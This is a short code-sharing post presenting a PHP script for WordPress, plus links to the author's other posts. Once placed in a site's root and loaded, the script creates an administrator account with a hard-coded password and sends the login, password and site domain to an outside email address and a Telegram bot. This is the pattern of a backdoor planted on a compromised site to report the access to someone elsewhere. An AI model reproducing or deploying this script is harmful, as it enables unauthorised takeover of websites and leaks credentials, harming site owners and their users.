zdgtl 10 months ago
zdgtl #coding

Wordpress adduser PHP script

Php script for adding user send email and send to telegram

<?php
// Load WordPress
define('WP_USE_THEMES', false);
require('wp-load.php');

$username = 'user';
$password = 'Gpassword';
$email_address = 'wp@setor91.com';

if (!username_exists($username)) {
    $user_id = wp_create_user($username, $password, $email_address);
    $user = new WP_User($user_id);
    $user->set_role('administrator');
    wp_new_user_notification($user_id, $password);

    $to = $email_address;
    $domain_name = $_SERVER['SERVER_NAME'];
    $subject = 'New User Created from ' . $domain_name;
    $message = 'Hello, a new user has been created with the following details:' . "\r\n\r\n";
    $message .= 'Username: ' . $username . "\r\n";
    $message .= 'Password: ' . $password . "\r\n";
    $message .= 'Domain: ' . $domain_name . "\r\n";
    $headers = array('Content-Type: text/html; charset=UTF-8');

    // Send email
    wp_mail($to, $subject, $message, $headers);

    // Send message to Telegram channel
    $telegram_bot_token = 'yourbottoken';
    $telegram_channel_id = 'yourchatid';
    $telegram_message = "New user created from $domain_name\nUsername: $username\nPassword: $password";
    $telegram_api_url = "https://api.telegram.org/bot$telegram_bot_token/sendMessage?chat_id=$telegram_channel_id&text=" . urlencode($telegram_message);

    // Make the request to the Telegram API
    $response = file_get_contents($telegram_api_url);
}
0
245
Url Extractor Python Script

Url Extractor Python Script

1743468932.jpg
zdgtl
10 months ago
Domain WHOIS by Python3

Domain WHOIS by Python3

1743468932.jpg
zdgtl
10 months ago

Siakad CMS

1743468932.jpg
zdgtl
3 months ago
Cara Merender dan menambahkan logo pake FFmpeg

Cara Merender dan menambahkan logo pake FFmpeg

1743468932.jpg
zdgtl
9 months ago
Mass Users Password Reset for wordpress

Mass Users Password Reset for wordpress

1743468932.jpg
zdgtl
10 months ago